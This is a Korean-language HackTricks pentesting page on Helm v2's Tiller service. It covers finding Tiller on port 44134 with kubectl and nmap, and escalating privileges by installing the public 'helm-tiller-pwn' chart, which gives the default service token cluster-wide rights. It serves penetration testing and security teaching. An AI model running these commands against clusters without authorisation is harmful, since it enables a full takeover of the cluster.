44134 - Pentesting Tiller (Helm)

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

기본 정보

Helm은 Kubernetes의 패키지 매니저입니다. YAML 파일을 패키지화하여 공개 및 비공개 저장소에서 배포할 수 있습니다. 이러한 패키지를 Helm Charts라고 합니다. Tiller는 기본적으로 포트 44134에서 실행되는 서비스입니다.

기본 포트: 44134

PORT      STATE SERVICE VERSION
44134/tcp open  unknown

열거

만약 다른 네임스페이스의 팟과/또는 서비스를 열거할 수 있다면, 열거하고 그 중에서 이름에 "tiller"이 포함된 것을 찾으세요:

kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"

예시:

Tiller and Helm

Tiller

Tiller은 Kubernetes 클러스터 내에서 Helm 차트를 설치하고 관리하는 데 사용되는 서버 구성 요소입니다. Tiller는 클라이언트 요청을 받아들이고 클러스터 내에서 차트를 릴리스하고 업데이트하는 역할을 합니다.

Tiller는 기본적으로 권한 부여되지 않은 상태로 설치되며, 클러스터 내에서 실행되는 모든 작업에 대한 권한을 가지게 됩니다. 이는 잠재적으로 보안 위험을 초래할 수 있습니다.

Helm

Helm은 Kubernetes 애플리케이션을 패키징하고 배포하기 위한 패키지 관리자입니다. Helm은 차트라는 패키지 형식을 사용하여 애플리케이션을 설치하고 업그레이드하며, 이를 통해 애플리케이션의 배포를 자동화할 수 있습니다.

Helm은 Tiller와 함께 사용되며, Tiller를 통해 클러스터 내에서 차트를 관리합니다. 따라서 Tiller의 보안 취약점은 Helm을 통해 악용될 수 있습니다.

Tiller and Helm Pentesting

Tiller와 Helm은 Kubernetes 환경에서 중요한 역할을 수행하므로, 이들의 보안 취약점을 식별하고 테스트하는 것은 중요합니다. Tiller와 Helm을 펜테스팅하기 위해 다음과 같은 기법을 사용할 수 있습니다:

  • Tiller 서버의 취약한 버전 식별

  • Tiller 서버의 권한 상승 공격

  • Tiller 서버의 인증 및 권한 부여 구성 검사

  • Tiller 서버의 릴리스 정보 노출 검사

  • Tiller 서버의 릴리스 업데이트 및 삭제 공격

  • Helm 클라이언트의 구성 파일 분석 및 악용

이러한 기법을 사용하여 Tiller와 Helm의 보안 취약점을 식별하고, 적절한 보안 조치를 취할 수 있습니다.

kubectl get pods -n kube-system
NAME                                       READY   STATUS             RESTARTS   AGE
kube-scheduler-controlplane                1/1     Running            0          35m
tiller-deploy-56b574c76d-l265z             1/1     Running            0          35m

kubectl get services -n kube-system
NAME            TYPE        CLUSTER-IP     EXTERNAL-IP   PORT(S)                  AGE
kube-dns        ClusterIP   10.96.0.10     <none>        53/UDP,53/TCP,9153/TCP   35m
tiller-deploy   ClusterIP   10.98.57.159   <none>        44134/TCP                35m

이 서비스를 찾기 위해 44134 포트를 확인해 볼 수도 있습니다:

sudo nmap -sS -p 44134 <IP>

발견한 후에는 클라이언트 helm 애플리케이션을 다운로드하여 통신할 수 있습니다. homebrew와 같은 도구를 사용하거나 공식 릴리스 페이지 참조할 수 있습니다. 자세한 내용이나 다른 옵션은 설치 가이드를 참조하십시오.

그런 다음, 서비스를 열거할 수 있습니다:

helm --host tiller-deploy.kube-system:44134 version

권한 상승

기본적으로 Helm2kube-system 네임스페이스에 높은 권한으로 설치되어 있으므로, 서비스를 찾고 액세스할 수 있다면 이를 통해 권한을 상승할 수 있습니다.

해당 패키지를 설치하기만 하면 됩니다: https://github.com/Ruil1n/helm-tiller-pwn. 이 패키지는 기본 서비스 토큰이 클러스터 전체에 대한 액세스 권한을 갖게 해줍니다.

git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart

http://rui0.cn/archives/1573에서는 공격에 대한 설명을 확인할 수 있습니다. 기본적으로, helm-tiller-pwn/pwnchart/templates/ 폴더 안의 clusterrole.yamlclusterrolebinding.yaml 파일을 읽으면 모든 권한이 기본 토큰에게 부여되는 것을 확인할 수 있습니다.

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

Last updated